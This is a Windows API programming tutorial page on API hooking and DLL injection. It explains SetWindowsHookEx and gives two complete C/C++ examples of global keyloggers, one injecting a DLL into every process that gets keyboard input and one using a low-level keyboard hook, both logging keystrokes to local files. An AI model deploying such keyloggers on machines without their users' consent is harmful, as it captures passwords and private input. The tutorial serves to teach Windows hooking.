Home | API | MFC | C++ | C | Previous | Next

Programming Windows API

API Hooking and DLL Injection

Hooking is a technique for altering the behaviour of an operating system or application by intercepting API function calls. Code that handles such interception is called a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event. DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injection can usually be used by external programs to change the behavior of another program..

Windows allows a developer to insert hooks using SetWindowsHookEx() function.  When an event occurs such as a keypress, the OS can be set to hook or call a new procedure.  A hook chain is a list of pointers to application-defined hook procedures. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain

The protype for SetWindowsHookExA is

HOOK SetWindowsHookExA(int idHook,HOOKPROC lpfn,HINSTANCE hmod,DWORD dwThreadId);

Where
idHook – is the type of hook procedure to be installed. This parameter can be one of the following values.
WH_DEBUG – used to that monitor messages before the system sends them to the destination window procedure.
WH_CALLWNDPROCRET – used to monitor messages after they have been processed by the destination window procedure.
WH_CBT – used to receive notifications useful to a CBT application
WH_DEBUG – used when the application’s foreground thread is about to become idle.
WH_FOREGROUNDIDLE – used for performing low-priority tasks during idle time.
WH_JOURNALPLAYBACK – used to post messages previously recorded by a WH_JOURNALRECORD hook procedure.
WH_JOURNALRECORD – used to record input messages posted to the system message queue.
WH_KEYBOARD – used to monitor keystroke messages.
WH_KEYBOARD_LL – used to monitors low-level keyboard input events.
WH_MOUSE – Installs a hook procedure that monitors mouse messages.
WH_MOUSE_LL – used to monitor low-level mouse input events.
WH_MSGFILTER – used to monitors input events in a dialog box, message box, menu, or scroll bar.
WH_SHELL – used to monitor shell applications
WH_SYSMSGFILTER – used to monitor messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar.
Lpfn – A pointer to the hook procedure.
Hmodb – A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
DwThreadId – The identifier of the thread with which the hook procedure is to be associated..

Return value – If the function succeeds, the return value is the handle to the hook procedure. If the function fails, the return value is NULL.

For further detailed reading on the SetWindowsHookExA – https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

The hook procedure

A hook procedure has the following syntax:

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// process event code
return CallNextHookEx(NULL, nCode, wParam, lParam);
}

Calling the CallNextHookEx function to chain to the next hook procedure is not necessary, but it is highly recommended. This will enable other applications that have installed hooks to  receive hook notifications and behave normally.

For further detailed reading about hooking
https://docs.microsoft.com/en-us/windows/win32/winmsg/about-hooks

The two examples below create two simple console applications to illustrate how hooking can be used to create a global key logging routing. Both routines record keystrokes and not character output

Example 1

The first routine uses explicit linking and a separate dll file to load a keylogging procedure and stores the keystrokes in a file keylogger.txt. The hook will be maintained until UnhookWindowsHook is called by pressing the enter key or by closing the console application.

With the WH_KEYBOARD parameter option, the callback function is implemented in a DLL that will be injected into any process that receives the keyboard input. Note that a 32-bit DLL will only be injected into 32-bit processes and similarly for a 64-bit DLL, so to capture all keystrokes, two separate DLLs may be required.

The code below will need to be compiled as a Win32 dynamic link library called 'inject'

//inject.dll
#include <stdio.h>
#include <Windows.h>

extern "C" __declspec(dllexport) int meconnect(int code, WPARAM wParam, LPARAM lParam) {
FILE *file;
//default keylogger.txt location is current program .exe directory
file=fopen( "keylogger.txt", "a+");
if(code == HC_ACTION)
{
char str[2]="";
sprintf(str,"%c",(char)wParam);
if ((DWORD)lParam & 0x40000000)
{
fprintf(file,str);
}
}
fclose(file);
return (CallNextHookEx(NULL, code, wParam, lParam));
}

The code below will need to be compiled as a win32 console application and linked to the inject.dll file created above

//win32 console application.
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
// Load library containing hooking function.
HMODULE dll = LoadLibrary("C:\\inject.dll");//be sure to change this to the location OF THE DLL
if(dll == NULL) {
printf("The DLL could not be found.\n");
getchar();
return -1;
}
// Get the address of the function inside the DLL.
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "meconnect");
if(addr == NULL) {
printf("The function was not found.\n");
getchar();
return -1;
}
//Hook the function.
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
if(handle == NULL) {
printf("The KEYBOARD could not be hooked.\n");
}
//Unhook the function.
printf("Program successfully hooked.\nPress enter to unhook the function and stop the program.");
getchar();
UnhookWindowsHookEx(handle);
return 0;
}

Example 2

This second routine calls an ‘export’ function declared within the executable and stores the results in the textfile 'keylogfile.log' found in the application directory. In this instance, the callback function is invoked via windows messages. It does not perform any process injection and thus does not require that the callback is in a DLL. It does require that the application has a Windows message loop to handle the message processing. This method works with both 32 and 64 bit processes on Windows. The hook will be maintained until UnhookWindowsHook is called by pressing the escape key or by closing the console application.

The code below will need to be compiled as a win32 console application

//console application
#define _WIN32_WINNT 0x0400
#include <Windows.h>
#include <stdio.h>
HHOOK hKeyHook;
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam) {
// Function "exported" from the executable. Performs low level hook-handling.
// nCode containsThe hook code,wParam contains the window message
// and lParam is a pointer to a struct with information about the pressed key
if ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) ||(wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
DWORD dMsg = 1;
dMsg += hooked.scanCode << 16;
dMsg += hooked.flags << 24;
char keyName[0x100] = {0};
keyName[0] = '[';
int i = GetKeyNameTextA(dMsg, (keyName+1),0xFF) + 1; //retrieves the name of the pressed key.
keyName[i] = ']';
if (hooked.vkCode==VK_ESCAPE)//checks for escape key and closes message loop
{
PostQuitMessage(0);
}
// Print the key name to key logging file 'keys'.
FILE *file;
//default keylogger.txt location is current program .exe directory
file=fopen("keylogfile.log","a+");
fputs(keyName,file);
fflush(file);
}
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
// Simple message loop to keep process running until terminated by either escape of closing command window.
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
// This KeyLogger function is used install the low level keyboard hook
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL); // Get the module handle to this executable
if (!hExe) hExe = LoadLibraryA((LPCSTR) lpParameter);
if (!hExe) return 1; //if load library failed return
// set up the keyboard hook using functions KeyEvent from this executable
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL);
printf("Program successfully hooked.\nPress escape to unhook the function and stop the program.\n");
MsgLoop();//call message koop.
printf("Unhook the function and stop the program.\n");
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// Main function call keylogger
int main(int argc, char** argv)
{
KeyLogger(0);
return 0;
}

Home | API | MFC | C++ | C | Previous | Next
Creating a Simple Window | Common Elements | Data Types and Character Sets | The Device Context | Graphics Device Interface | Displaying Text | Displaying Graphics | Mapping Modes | Keyboard Input | Working with the Mouse | Menus | Child Windows | ScrollBar Control | The Dialog Box | Windows Message Box | Common Dialog Box | Bitmaps | Common Controls | Creating a Toolbar | Multiple Document Interface | Timers | DLL’s | Creating Custom Controls | Owner Drawn Controls | API Hooking and DLL Injection | File Management Functions | String Manipulation | System Information Functions